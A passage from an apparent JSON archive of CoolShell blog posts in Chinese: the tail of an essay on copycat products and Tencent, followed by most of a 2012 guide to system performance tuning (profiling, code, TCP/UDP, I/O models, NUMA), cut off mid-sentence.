**真正的产品应该是体现品质的**。所谓有品质的意思是，你能从使用这个产品中获得一种感觉，一种档次的提升的感觉。你可以认为使用品牌而非山寨的智能手机，使用一些如Thinkpad或MacBook的笔记本电脑或iPad，因为那是一种品质的体现。但是我们都知道，使用QQ完全没有任何品质的感觉，你不会在你的简历中放上QQ号，你也不会在一些商务场合使用QQ的，不是吗？这就好像请客吃饭一样，你总是会请你的朋友去一些有品质的饭馆而不是拉面馆。\n\n\n当你把你的产品目标放在这样高的位置上，你不难发现，一来，仿冒者们无法跟上你的跟步，二来，仿冒者们几乎没有办法来复制。因为，他们只能复制到外表，但永远无法复制到产品的精髓。\n\n\n还是那句话，**因为仿冒者们急功近利的基因就决定了他们做不到抄袭。因为QQ用户群的基因也决定了腾讯无法复制豆瓣或Stackoverflow**。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/5901.html)[腾讯，竞争力 和 用户体验](https://coolshell.cn/articles/5901.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg](https://coolshell.cn/articles/5987.html)[如何设计“找回用户帐号”功能](https://coolshell.cn/articles/5987.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg](https://coolshell.cn/articles/5966.html)[腾讯帐号申诉的用户体验](https://coolshell.cn/articles/5966.html)\n* [![由苹果的低级Bug想到的](../wp-content/uploads/2014/02/apple_goto_fail-150x150.png)](https://coolshell.cn/articles/11112.html)[由苹果的低级Bug想到的](https://coolshell.cn/articles/11112.html)\n* [![做个环保主义的程序员](../wp-content/uploads/2012/04/Green-Computing-150x150.jpg)](https://coolshell.cn/articles/7186.html)[做个环保主义的程序员](https://coolshell.cn/articles/7186.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/6775.html)[Bret Victor – Inventing on Principle](https://coolshell.cn/articles/6775.html)\nThe post [抄袭，腾讯 和 产品](https://coolshell.cn/articles/7617.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-6-20 性能调优攻略.md",
    "content": "---\nlayout: post\ntitle: 性能调优攻略\ndate: 2012/6/20/ 1:24:53\nupdated: 2012/6/20/ 1:24:53\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2012/06/f1-300x216.jpg \"Performance Tuning\")关于性能优化这是一个比较大的话题，在《[由12306.cn谈谈网站性能技术](https://coolshell.cn/articles/6470.html \"由12306.cn谈谈网站性能技术\")》中我从业务和设计上说过一些可用的技术以及那些技术的优缺点，今天，想从一些技术细节上谈谈性能优化，主要是一些代码级别的技术和方法。**本文的东西是我的一些经验和知识，并不一定全对，希望大家指正和补充**。\n\n\n在开始这篇文章之前，大家可以移步去看一下酷壳以前发表的《[代码优化概要](https://coolshell.cn/articles/2967.html \"代码优化概要\")》，这篇文章基本上告诉你——**要进行优化，先得找到性能瓶颈**！ 但是在讲如何定位系统性能瓶劲之前，请让我讲一下系统性能的定义和测试，因为没有这两件事，后面的定位和优化无从谈起。\n\n\n#### 一、系统性能定义\n\n\n让我们先来说说如何什么是系统性能。这个定义非常关键，如果我们不清楚什么是系统性能，那么我们将无法定位之。我见过很多朋友会觉得这很容易，但是仔细一问，其实他们并没有一个比较系统的方法，所以，在这里我想告诉大家如何系统地来定位性能。 总体来说，系统性能就是两个事：\n\n\n1. **Throughput** ，吞吐量。也就是每秒钟可以处理的请求数，任务数。\n2. **Latency**， 系统延迟。也就是系统在处理一个请求或一个任务时的延迟。\n\n\n一般来说，一个系统的性能受到这两个条件的约束，缺一不可。比如，我的系统可以顶得住一百万的并发，但是系统的延迟是2分钟以上，那么，这个一百万的负载毫无意义。系统延迟很短，但是吞吐量很低，同样没有意义。所以，一个好的系统的性能测试必然受到这两个条件的同时作用。 有经验的朋友一定知道，这两个东西的一些关系：\n\n\n* **Throughput越大，Latency会越差。**因为请求量过大，系统太繁忙，所以响应速度自然会低。\n* **Latency越好，能支持的Throughput就会越高。**因为Latency短说明处理速度快，于是就可以处理更多的请求。\n\n\n#### 二、系统性能测试\n\n\n经过上述的说明，我们知道要测试系统的性能，需要我们收集系统的Throughput和Latency这两个值。\n\n\n\n* 首先，**需要定义Latency这个值**，比如说，对于网站系统响应时间必需是5秒以内（对于某些实时系统可能需要定义的更短，比如5ms以内，这个更根据不同的业务来定义）\n\n\n* 其次，**开发性能测试工具**，一个工具用来制造高强度的Throughput，另一个工具用来测量Latency。对于第一个工具，你可以参考一下“[十个免费的Web压力测试工具](https://coolshell.cn/articles/2589.html \"十个免费的Web压力测试工具\")”，关于如何测量Latency，你可以在代码中测量，但是这样会影响程序的执行，而且只能测试到程序内部的Latency，真正的Latency是整个系统都算上，包括操作系统和网络的延时，你可以使用Wireshark来抓网络包来测量。这两个工具具体怎么做，这个还请大家自己思考去了。\n\n\n* 最后，**开始性能测试**。你需要不断地提升测试的Throughput，然后观察系统的负载情况，如果系统顶得住，那就观察Latency的值。这样，你就可以找到系统的最大负载，并且你可以知道系统的响应延时是多少。\n\n\n再多说一些，\n\n\n* 关于Latency，如果吞吐量很少，这个值估计会非常稳定，当吞吐量越来越大时，系统的Latency会出现非常剧烈的抖动，所以，我们在测量Latency的时候，我们需要注意到Latency的分布，也就是说，有百分之几的在我们允许的范围，有百分之几的超出了，有百分之几的完全不可接受。也许，平均下来的Latency达标了，但是其中仅有50%的达到了我们可接受的范围。那也没有意义。\n\n\n* 关于性能测试，我们还需要定义一个时间段。比如：在某个吞吐量上持续15分钟。因为当负载到达的时候，系统会变得不稳定，当过了一两分钟后，系统才会稳定。另外，也有可能是，你的系统在这个负载下前几分钟还表现正常，然后就不稳定了，甚至垮了。所以，需要这么一段时间。这个值，我们叫做峰值极限。\n\n\n* 性能测试还需要做Soak Test，也就是在某个吞吐量下，系统可以持续跑一周甚至更长。这个值，我们叫做系统的正常运行的负载极限。\n\n\n性能测试有很多很复要的东西，比如：burst test等。 这里不能一一详述，这里只说了一些和性能调优相关的东西。总之，性能测试是一细活和累活。\n\n\n#### 三、定位性能瓶颈\n\n\n![](../wp-content/uploads/2012/06/bottleneck.jpg \"bottleneck\")有了上面的铺垫，我们就可以测试到到系统的性能了，再调优之前，我们先来说说如何找到性能的瓶颈。我见过很多朋友会觉得这很容易，但是仔细一问，其实他们并没有一个比较系统的方法。\n\n\n##### 3.1）查看操作系统负载\n\n\n首先，当我们系统有问题的时候，我们不要急于去调查我们代码，这个毫无意义。我们首要需要看的是操作系统的报告。看看操作系统的CPU利用率，看看内存使用率，看看操作系统的IO，还有网络的IO，网络链接数，等等。Windows下的perfmon是一个很不错的工具，Linux下也有很多相关的命令和工具，比如：[SystemTap](http://sourceware.org/systemtap/)，[LatencyTOP](https://latencytop.org/)，vmstat, sar, iostat, top, tcpdump等等 。通过观察这些数据，我们就可以知道我们的软件的性能基本上出在哪里。比如：\n\n\n1）先看CPU利用率，如果CPU利用率不高，但是系统的Throughput和Latency上不去了，这说明我们的程序并没有忙于计算，而是忙于别的一些事，比如IO。（另外，CPU的利用率还要看内核态的和用户态的，内核态的一上去了，整个系统的性能就下来了。而对于多核CPU来说，CPU 0 是相当关键的，如果CPU 0的负载高，那么会影响其它核的性能，因为CPU各核间是需要有调度的，这靠CPU0完成）\n\n\n2）然后，我们可以看一下IO大不大，IO和CPU一般是反着来的，CPU利用率高则IO不大，IO大则CPU就小。关于IO，我们要看三个事，一个是磁盘文件IO，一个是驱动程序的IO（如：网卡），一个是内存换页率。这三个事都会影响系统性能。\n\n\n3）然后，查看一下网络带宽使用情况，在Linux下，你可以使用iftop, iptraf, ntop, tcpdump这些命令来查看。或是用Wireshark来查看。\n\n\n4）如果CPU不高，IO不高，内存使用不高，网络带宽使用不高。但是系统的性能上不去。这说明你的程序有问题，比如，你的程序被阻塞了。可能是因为等那个锁，可能是因为等某个资源，或者是在切换上下文。\n\n\n**通过了解操作系统的性能，我们才知道性能的问题，比如：带宽不够，内存不够，TCP缓冲区不够，等等，很多时候，不需要调整程序的，只需要调整一下硬件或操作系统的配置就可以了**。\n\n\n##### 3.2）使用Profiler测试\n\n\n接下来，我们需要使用性能检测工具，也就是使用某个Profiler来差看一下我们程序的运行性能。如：Java的JProfiler/TPTP/CodePro Profiler，GNU的gprof，IBM的PurifyPlus，Intel的VTune，AMD的CodeAnalyst，还有Linux下的OProfile/perf，后面两个可以让你对你的代码优化到CPU的微指令级别，如果你关心CPU的L1/L2的缓存调优，那么你需要考虑一下使用VTune。 使用这些Profiler工具，可以让你程序中各个模块函数甚至指令的很多东西，如：**运行的时间** ，**调用的次数**，**CPU的利用率**，等等。这些东西对我们来说非常有用。\n\n\n我们重点观察运行时间最多，调用次数最多的那些函数和指令。这里注意一下，对于调用次数多但是时间很短的函数，你可能只需要轻微优化一下，你的性能就上去了（比如：某函数一秒种被调用100万次，你想想如果你让这个函数提高0.01毫秒的时间 ，这会给你带来多大的性能）\n\n\n使用Profiler有个问题我们需要注意一下，因为Profiler会让你的程序运行的性能变低，像PurifyPlus这样的工具会在你的代码中插入很多代码，会导致你的程序运行效率变低，从而没发测试出在高吞吐量下的系统的性能，对此，一般有两个方法来定位系统瓶颈：\n\n\n1）在你的代码中自己做统计，使用微秒级的计时器和函数调用计算器，每隔10秒把统计log到文件中。\n\n\n2）分段注释你的代码块，让一些函数空转，做Hard Code的Mock，然后再测试一下系统的Throughput和Latency是否有质的变化，如果有，那么被注释的函数就是性能瓶颈，再在这个函数体内注释代码，直到找到最耗性能的语句。\n\n\n最后再说一点，**对于性能测试，不同的Throughput会出现不同的测试结果，不同的测试数据也会有不同的测试结果。所以，用于性能测试的数据非常重要，性能测试中，我们需要观测试不同Throughput的结果**。\n\n\n#### 四、常见的系统瓶颈\n\n\n下面这些东西是我所经历过的一些问题，也许并不全，也许并不对，大家可以补充指正，我**纯属抛砖引玉**。关于系统架构方面的性能调优，大家可移步看一下《[由12306.cn谈谈网站性能技术](https://coolshell.cn/articles/6470.html \"由12306.cn谈谈网站性能技术\")》，关于Web方面的一些性能调优的东西，大家可以看看《[Web开发中需要了解的东西](https://coolshell.cn/articles/6043.html \"Web开发中需要了解的东西\")》一文中的性能一章。我在这里就不再说设计和架构上的东西了。\n\n\n一般来说，性能优化也就是下面的几个策略：\n\n\n* **用空间换时间**。各种cache如CPU L1/L2/RAM到硬盘，都是用空间来换时间的策略。这样策略基本上是把计算的过程一步一步的保存或缓存下来，这样就不用每次用的时候都要再计算一遍，比如数据缓冲，CDN，等。这样的策略还表现为冗余数据，比如数据镜象，负载均衡什么的。\n\n\n* **用时间换空间**。有时候，少量的空间可能性能会更好，比如网络传输，如果有一些压缩数据的算法（如前些天说的“[Huffman 编码压缩算法](https://coolshell.cn/articles/7459.html \"Huffman 编码压缩算法\")” 和 “[rsync 的核心算法](https://coolshell.cn/articles/7425.html \"rsync 的核心算法\")”），这样的算法其实很耗时，但是因为瓶颈在网络传输，所以用时间来换空间反而能省时间。\n\n\n* **简化代码**。最高效的程序就是不执行任何代码的程序，所以，代码越少性能就越高。关于代码级优化的技术大学里的教科书有很多示例了。如：减少循环的层数，减少递归，在循环中少声明变量，少做分配和释放内存的操作，尽量把循环体内的表达式抽到循环外，条件表达的中的多个条件判断的次序，尽量在程序启动时把一些东西准备好，注意函数调用的开销（栈上开销），注意面向对象语言中临时对象的开销，小心使用异常（不要用异常来检查一些可接受可忽略并经常发生的错误），…… 等等，等等，这连东西需要我们非常了解编程语言和常用的库。\n\n\n* **并行处理**。如果CPU只有一个核，你要玩多进程，多线程，对于计算密集型的软件会反而更慢（因为操作系统调度和切换开销很大），CPU的核多了才能真正体现出多进程多线程的优势。并行处理需要我们的程序有Scalability，不能水平或垂直扩展的程序无法进行并行处理。从架构上来说，这表再为——是否可以做到不改代码只是加加机器就可以完成性能提升？\n\n\n总之，**根据2：8原则来说，20%的代码耗了你80%的性能，找到那20%的代码，你就可以优化那80%的性能**。 下面的一些东西都是我的一些经验，我只例举了一些最有价值的性能调优的的方法，供你参考，也欢迎补充。\n\n\n**4.1）算法调优**。算法非常重要，好的算法会有更好的性能。举几个我经历过的项目的例子，大家可以感觉一下。\n\n\n* 一个是**过滤算法**，系统需要对收到的请求做过滤，我们把可以被filter in/out的东西配置在了一个文件中，原有的过滤算法是遍历过滤配置，后来，我们找到了一种方法可以对这个过滤配置进行排序，这样就可以用二分折半的方法来过滤，系统性能增加了50%。\n\n\n* 一个是**哈希算法**。计算哈希算法的函数并不高效，一方面是计算太费时，另一方面是碰撞太高，碰撞高了就跟单向链表一个性能（可参看[Hash Collision DoS 问题](https://coolshell.cn/articles/6424.html \"Hash Collision DoS 问题\")）。我们知道，算法都是和需要处理的数据很有关系的，就算是被大家所嘲笑的“冒泡排序”在某些情况下（大多数数据是排好序的）其效率会高于所有的排序算法。哈希算法也一样，广为人知的哈希算法都是用英文字典做测试，但是我们的业务在数据有其特殊性，所以，对于还需要根据自己的数据来挑选适合的哈希算法。对于我以前的一个项目，公司内某牛人给我发来了一个哈希算法，结果让我们的系统性能上升了150%。（关于各种哈希算法，你一定要看看[StackExchange上的这篇关于各种hash算法的文章](http://programmers.stackexchange.com/questions/49550/which-hashing-algorithm-is-best-for-uniqueness-and-speed/145633#145633) ）\n\n\n* **分而治之和预处理**。以前有一个程序为了生成月报表，每次都需要计算很长的时间，有时候需要花将近一整天的时间。于是我们把我们找到了一种方法可以把这个算法发成增量式的，也就是说我每天都把当天的数据计算好了后和前一天的报表合并，这样可以大大的节省计算时间，每天的数据计算量只需要20分钟，但是如果我要算整个月的，系统则需要10个小时以上（SQL语句在大数据量面前性能成级数性下降）。这种分而治之的思路在大数据面前对性能有很帮助，就像merge排序一样。SQL语句和数据库的性能优化也是这一策略，如：使用嵌套式的Select而不是笛卡尔积的Select，使用视图，等等。\n\n\n**4.2）代码调优**。从我的经验上来说，代码上的调优有下面这几点：\n\n\n* **字符串操作**。这是最费系统性能的事了，无论是strcpy, strcat还是strlen，最需要注意的是字符串子串匹配。所以，能用整型最好用整型。举几个例子，第一个例子是N年前做银行的时候，我的同事喜欢把日期存成字符串（如：2012-05-29 08:30:02），我勒个去，一个select  where between语句相当耗时。另一个例子是，我以前有个同事把一些状态码用字符串来处理，他的理由是，这样可以在界面上直接显示，后来性能调优的时候，我把这些状态码全改成整型，然后用位操作查状态，因为有一个每秒钟被调用了150K次的函数里面有三处需要检查状态，经过改善以后，整个系统的性能上升了30%左右。还有一个例子是，我以前从事的某个产品编程规范中有一条是要在每个函数中把函数名定义出来，如：const char fname[]=”functionName()”, 这是为了好打日志，但是为什么不声明成 static类型的呢？\n\n\n* **多线程调优**。有人说，thread is evil，这个对于系统性能在某些时候是个问题。因为多线程瓶颈就在于互斥和同步的锁上，以及线程上下文切换的成本，怎么样的少用锁或不用锁是根本（比如：[多版本并发控制(MVCC)在分布式系统中的应用](https://coolshell.cn/articles/6790.html \"多版本并发控制(MVCC)在分布式系统中的应用\") 中说的乐观锁可以解决性能问题），此外，还有读写锁也可以解决大多数是读操作的并发的性能问题。这里多说一点在C++中，我们可能会使用线程安全的智能指针AutoPtr或是别的一些容器，只要是线程安全的，其不管三七二十一都要上锁，上锁是个成本很高的操作，使用AutoPtr会让我们的系统性能下降得很快，如果你可以保证不会有线程并发问题，那么你应该不要用AutoPtr。我记得我上次我们同事去掉智能指针的引用计数，让系统性能提升了50%以上。对于Java对象的引用计数，如果我猜的没错的话，到处都是锁，所以，Java的性能问题一直是个问题。另外，线程不是越多越好，线程间的调度和上下文切换也是很夸张的事，尽可能的在一个线程里干，尽可能的不要同步线程。这会让你有很多的性能。\n\n\n* **内存分配**。不要小看程序的内存分配。malloc/realloc/calloc这样的系统调非常耗时，尤其是当内存出现碎片的时候。我以前的公司出过这样一个问题——在用户的站点上，我们的程序有一天不响应了，用GDB跟进去一看，系统hang在了malloc操作上，20秒都没有返回，重启一些系统就好了。这就是内存碎片的问题。这就是为什么很多人抱怨STL有严重的内存碎片的问题，因为太多的小内存的分配释放了。有很多人会以为用内存池可以解决这个问题，但是实际上他们只是重新发明了Runtime-C或操作系统的内存管理机制，完全于事无补。当然解决内存碎片的问题还是通过内存池，具体来说是一系列不同尺寸的内存池（这个留给大家自己去思考）。当然，少进行动态内存分配是最好的。说到内存池就需要说一下池化技术。比如线程池，连接池等。池化技术对于一些短作业来说（如http服务） 相当相当的有效。这项技术可以减少链接建立，线程创建的开销，从而提高性能。\n\n\n* **异步操作**。我们知道Unix下的文件操作是有block和non-block的方式的，像有些系统调用也是block式的，如：Socket下的select，Windows下的WaitforObject之类的，如果我们的程序是同步操作，那么会非常影响性能，我们可以改成异步的，但是改成异步的方式会让你的程序变复杂。异步方式一般要通过队列，要注间队列的性能问题，另外，异步下的状态通知通常是个问题，比如消息事件通知方式，有callback方式，等，这些方式同样可能会影响你的性能。但是通常来说，异步操作会让性能的吞吐率有很大提升（Throughput），但是会牺牲系统的响应时间（latency）。这需要业务上支持。\n\n\n* **语言和代码库**。我们要熟悉语言以及所使用的函数库或类库的性能。比如：STL中的很多容器分配了内存后，那怕你删除元素，内存也不会回收，其会造成内存泄露的假像，并可能造成内存碎片问题。再如，STL某些容器的size()==0  和 empty()是不一样的，因为，size()是O(n)复杂度，empty()是O(1)的复杂度，这个要小心。Java中的JVM调优需要使用的这些参数：-Xms -Xmx -Xmn -XX:SurvivorRatio -XX:MaxTenuringThreshold，还需要注意JVM的GC，GC的霸气大家都知道，尤其是full GC（还整理内存碎片），他就像“恐龙特级克赛号”一样，他运行的时候，整个世界的时间都停止了。\n\n\n**4.3）网络调优**\n\n\n关于网络调优，尤其是TCP Tuning（你可以以这两个关键词在网上找到很多文章），这里面有很多很多东西可以说。看看Linux下TCP/IP的那么多参数就知道了（顺便说一下，你也许不喜欢Linux，但是你不能否认Linux给我们了很多可以进行内核调优的权力）。强烈建议大家看看《[TCP/IP 详解 卷1:协议](http://book.douban.com/subject/1088054/)》这本书。我在这里只讲一些概念上的东西。\n\n\n**A） TCP调优**\n\n\n我们知道TCP链接是有很多开销的，一个是会占用文件描述符，另一个是会开缓存，一般来说一个系统可以支持的TCP链接数是有限的，我们需要清楚地认识到TCP链接对系统的开销是很大的。正是因为TCP是耗资源的，所以，很多攻击都是让你系统上出现大量的TCP链接，把你的系统资源耗尽。比如著名的SYNC Flood攻击。\n\n\n所以，我们要注意配置KeepAlive参数，这个参数的意思是定义一个时间，如果链接上没有数据传输，系统会在这个时间发一个包，如果没有收到回应，那么TCP就认为链接断了，然后就会把链接关闭，这样可以回收系统资源开销。（注：HTTP层上也有KeepAlive参数）对于像HTTP这样的短链接，设置一个1-2分钟的keepalive非常重要。这可以在一定程度上防止DoS攻击。有下面几个参数（下面这些参数的值仅供参考）：\n\n\n\n```\nnet.ipv4.tcp_keepalive_probes = 5\nnet.ipv4.tcp_keepalive_intvl = 20\nnet.ipv4.tcp_fin_timeout = 30\n```\n\n对于TCP的TIME\\_WAIT这个状态，主动关闭的一方进入TIME\\_WAIT状态，TIME\\_WAIT状态将持续2个MSL(Max Segment Lifetime)，默认为4分钟，TIME\\_WAIT状态下的资源不能回收。有大量的TIME\\_WAIT链接的情况一般是在HTTP服务器上。对此，有两个参数需要注意，\n\n\n\n```\nnet.ipv4.tcp_tw_reuse=1\nnet.ipv4.tcp_tw_recycle=1\n```\n\n前者表示重用TIME\\_WAIT，后者表示回收TIME\\_WAIT的资源。\n\n\nTCP还有一个重要的概念叫RWIN（TCP Receive Window Size），这个东西的意思是，我一个TCP链接在没有向Sender发出ack时可以接收到的最大的数据包。为什么这个很重要？因为如果Sender没有收到Receiver发过来ack，Sender就会停止发送数据并会等一段时间，如果超时，那么就会重传。这就是为什么TCP链接是可靠链接的原因。重传还不是最严重的，如果有丢包发生的话，TCP的带宽使用率会马上受到影响（会盲目减半），再丢包，再减半，然后如果不丢包了，就逐步恢复。相关参数如下：\n\n\n\n```\nnet.core.wmem_default = 8388608\nnet.core.rmem_default = 8388608\nnet.core.rmem_max = 16777216\nnet.core.wmem_max = 16777216\n```\n\n一般来说，理论上的RWIN应该设置成：吞吐量  \\* 回路时间。Sender端的buffer应该和RWIN有一样的大小，因为Sender端发送完数据后要等Receiver端确认，如果网络延时很大，buffer过小了，确认的次数就会多，于是性能就不高，对网络的利用率也就不高了。也就是说，对于延迟大的网络，我们需要大的buffer，这样可以少一点ack，多一些数据，对于响应快一点的网络，可以少一些buffer。因为，如果有丢包（没有收到ack），buffer过大可能会有问题，因为这会让TCP重传所有的数据，反而影响网络性能。（当然，网络差的情况下，就别玩什么高性能了） 所以，高性能的网络重要的是要让网络丢包率非常非常地小（基本上是用在LAN里），如果网络基本是可信的，这样用大一点的buffer会有更好的网络传输性能（来来回回太多太影响性能了）。\n\n\n另外，我们想一想，如果网络质量非常好，基本不丢包，而业务上我们不怕偶尔丢几个包，如果是这样的话，那么，我们为什么不用速度更快的UDP呢？你想过这个问题了吗？\n\n\n**B）UDP调优**\n\n\n说到UDP的调优，有一些事我想重点说一样，那就是MTU——最大传输单元（其实这对TCP也一样，因为这是链路层上的东西）。所谓最大传输单元，你可以想像成是公路上的公交车，假设一个公交车可以最多坐70人，带宽就像是公路的车道数一样，如果一条路上最多可以容下100辆公交车，那意味着我最多可以运送7000人，但是如果公交车坐不满，比如平均每辆车只有20人，那么我只运送了2000人，于是我公路资源（带宽资源）就被浪费了。 所以，我们对于一个UDP的包，我们要尽量地让他大到MTU的最大尺寸再往网络上传，这样可以最大化带宽利用率。对于这个MTU，以太网是1500字节，光纤是4352字节，802.11无线网是7981。但是，当我们用TCP/UDP发包的时候，我们的有效负载Payload要低于这个值，因为IP协议会加上20个字节，UDP会加上8个字节（TCP加的更多），所以，一般来说，你的一个UDP包的最大应该是1500-8-20=1472，这是你的数据的大小。当然，如果你用光纤的话， 这个值就可以更大一些。（顺便说一下，对于某些NB的千光以态网网卡来说，在网卡上，网卡硬件如果发现你的包的大小超过了MTU，其会帮你做fragment，到了目标端又会帮你做重组，这就不需要你在程序中处理了）\n\n\n再多说一下，使用Socket编程的时候，你可以使用setsockopt() 设置 SO\\_SNDBUF/SO\\_RCVBUF 的大小，TTL和KeepAlive这些关键的设置，当然，还有很多，具体你可以查看一下Socket的手册。\n\n\n最后说一点，UDP还有一个最大的好处是multi-cast多播，这个技术对于你需要在内网里通知多台结点时非常方便和高效。而且，多播这种技术对于机会的水平扩展（需要增加机器来侦听多播信息）也很有利。\n\n\n**C）网卡调优**\n\n\n对于网卡，我们也是可以调优的，这对于千兆以及网网卡非常必要，在Linux下，我们可以用ifconfig查看网上的统计信息，如果我们看到overrun上有数据，我们就可能需要调整一下txqueuelen的尺寸（一般默认为1000），我们可以调大一些，如：ifconfig eth0 txqueuelen 5000。Linux下还有一个命令叫：ethtool可以用于设置网卡的缓冲区大小。在Windows下，我们可以在网卡适配器中的高级选项卡中调整相关的参数（如：Receive Buffers, Transmit Buffer等，不同的网卡有不同的参数）。把Buffer调大对于需要大数据量的网络传输非常有效。\n\n\n**D）其它网络性能**\n\n\n关于多路复用技术，也就是用一个线程来管理所有的TCP链接，有三个系统调用要重点注意：一个是select，这个系统调用只支持上限1024个链接，第二个是poll，其可以突破1024的限制，但是select和poll本质上是使用的轮询机制，轮询机制在链接多的时候性能很差，因主是O(n)的算法，所以，epoll出现了，epoll是操作系统内核支持的，仅当在链接活跃时，操作系统才会callback，这是由操作系统通知触发的，但其只有Linux Kernel 2.6以后才支持（准确说是2.5.44中引入的），当然，如果所有的链接都是活跃的，过多的使用epoll\\_ctl可能会比轮询的方式还影响性能，不过影响的不大。\n\n\n另外，关于一些和DNS Lookup的系统调用要小心，比如：gethostbyaddr/gethostbyname，这个函数可能会相当的费时，因为其要到网络上去找域名，因为DNS的递归查询，会导致严重超时，而又不能通过设置什么参数来设置time out，对此你可以通过配置hosts文件来加快速度，或是自己在内存中管理对应表，在程序启动时查好，而不要在运行时每次都查。另外，在多线程下面，gethostbyname会一个更严重的问题，就是如果有一个线程的gethostbyname发生阻塞，其它线程都会在gethostbyname处发生阻塞，这个比较变态，要小心。（你可以试试GNU的gethostbyname\\_r()，这个的性能要好一些） 这种到网上找信息的东西很多，比如，如果你的Linux使用了NIS，或是NFS，某些用户或文件相关的系统调用就很慢，所以要小心。\n\n\n**4.4）系统调优**\n\n\n**A）I/O模型**\n\n\n前面说到过select/poll/epoll这三个系统调用，我们都知道，Unix/Linux下把所有的设备都当成文件来进行I/O，所以，那三个操作更应该算是I/O相关的系统调用。说到  I/O模型，这对于我们的I/O性能相当重要，我们知道，Unix/Linux经典的I/O方式是（关于Linux下的I/O模型，大家可以读一下这篇文章《[使用异步I/O大大提高性能](http://www.ibm.com/developerworks/cn/linux/l-async/)》）：\n\n\n第一种，同步阻塞式I/O，这个不说了。\n\n\n第二种，同步无阻塞方式。其通过fctnl设置 O\\_NONBLOCK 来完成。\n\n\n第三种，对于select/poll/epoll这三个是I/O不阻塞，但是在事件上阻塞，算是：I/O异步，事件同步的调用。\n\n\n第四种，AIO方式。这种I/O 模型是一种处理与 I/O 并行的模型。I/O请求会立即返回，说明请求已经成功发起了。在后台完成I/O操作时，向应用程序发起通知，通知有两种方式：一种是产生一个信号，另一种是执行一个基于线程的回调函数来完成这次 I/O 处理过程。\n\n\n第四种因为没有任何的阻塞，无论是I/O上，还是事件通知上，所以，其可以让你充分地利用CPU，比起第二种同步无阻塞好处就是，第二种要你一遍一遍地去轮询。Nginx之所所以高效，是其使用了epoll和AIO的方式来进行I/O的。\n\n\n再说一下Windows下的I/O模型，\n\n\na）一个是WriteFile系统调用，这个系统调用可以是同步阻塞的，也可以是同步无阻塞的，关于看文件是不是以Overlapped打开的。关于同步无阻塞，需要设置其最后一个参数Overlapped，微软叫Overlapped I/O，你需要WaitForSingleObject才能知道有没有写完成。这个系统调用的性能可想而知。\n\n\nb）另一个叫WriteFileEx的系统调用，其可以实现异步I/O，并可以让你传入一个callback函数，等I/O结束后回调之， 但是这个回调的过程Windows是把callback函数放到了APC（[Asynchronous Procedure Calls](http://msdn.microsoft.com/en-us/library/windows/desktop/ms681951(v=vs.85).aspx)）的队列中，然后，只用当应用程序当前线程成为可被通知状态（Alterable）时，才会被回调。只有当你的线程使用了这几个函数时[WaitForSingleObjectEx](http://msdn.microsoft.com/en-us/library/windows/desktop/ms687036(v=vs.85).aspx), [WaitForMultipleObjectsEx](http://msdn.microsoft.com/en-us/library/windows/desktop/ms687028(v=vs.85).aspx), [MsgWaitForMultipleObjectsEx](http://msdn.microsoft.com/en-us/library/windows/desktop/ms684245(v=vs.85).aspx), [SignalObjectAndWait](http://msdn.microsoft.com/en-us/library/windows/desktop/ms686293(v=vs.85).aspx) 和 [SleepEx](http://msdn.microsoft.com/en-us/library/windows/desktop/ms686307(v=vs.85).aspx)，线程才会成为Alterable状态。可见，这个模型，还是有wait，所以性能也不高。\n\n\nc）然后是IOCP – IO Completion Port，IOCP会把I/O的结果放在一个队列中，但是，侦听这个队列的不是主线程，而是专门来干这个事的一个或多个线程去干（老的平台要你自己创建线程，新的平台是你可以创建一个线程池）。IOCP是一个线程池模型。这个和Linux下的AIO模型比较相似，但是实现方式和使用方式完全不一样。\n\n\n当然，真正提高I/O性能方式是把和外设的I/O的次数降到最低，最好没有，所以，对于读来说，内存cache通常可以从质上提升性能，因为内存比外设快太多了。对于写来说，cache住要写的数据，少写几次，但是cache带来的问题就是实时性的问题，也就是latency会变大，我们需要在写的次数上和相应上做权衡。\n\n\n**B）多核**CPU**调优**\n\n\n关于CPU的多核技术，我们知道，CPU0是很关键的，如果0号CPU被用得过狠的话，别的CPU性能也会下降，因为CPU0是有调整功能的，所以，我们不能任由操作系统负载均衡，因为我们自己更了解自己的程序，所以，我们可以手动地为其分配CPU核，而不会过多地占用CPU0，或是让我们关键进程和一堆别的进程挤在一起。\n\n\n* 对于Windows来说，我们可以通过“任务管理器”中的“进程”而中右键菜单中的“设置相关性……”（Set Affinity…）来设置并限制这个进程能被运行在哪些核上。\n\n\n* 对于Linux来说，可以使用taskset命令来设置（你可以通过安装schedutils来安装这个命令：apt-get install schedutils）\n\n\n多核CPU还有一个技术叫[NUMA](http://en.wikipedia.org/wiki/Non-Uniform_Memory_Access)技术（Non-Uniform Memory Access）。传统的多核运算是使用SMP(Symmetric Multi-Processor )模式，多个处理器共享一个集中的存储器和I/O总线。于是就会出现一致存储器访问的问题，一致性通常意味着性能问题。NUMA模式下，处理器被划分成多个node， 每个node有自己的本地存储器空间。关于NUMA的一些技术细节，你可以查看一下这篇文章《[Linux 的 NUMA 技术](http://www.ibm.com/developerworks/cn/linux/l-numa/index.html)》，在Linux下，对NUMA调优的命令是：**numactl**。如下面的命令：（指定命令“myprogram arg1 arg2”运行在node 0 上，其内存分配在node 0 和 1上）\n\n\n`numactl --cpubind=0 --membind=0,1 myprogram arg1 arg2`\n\n\n当然，上面这个命令并不好，因为内存跨越了两个node，这非常不好。最好的方式是只让程序访问和自己运行一样的node，如：\n\n\n`$ numactl --membind 1 --cpunodebind 1 --localalloc myapplication`\n\n\n**C）文件系统调优**\n\n\n关于文件系统，因为文件系统也是有cache的，所以，为了让文件系统有最大的性能。首要的事情就是分配足够大的内存，这个非常关键，在Linux下可以使用free命令来查看 free/used/buffers/cached，理想来说，buffers和cached应该有40%左右。然后是一个快速的硬盘控制器，SCSI会好很多。最快的是Intel SSD 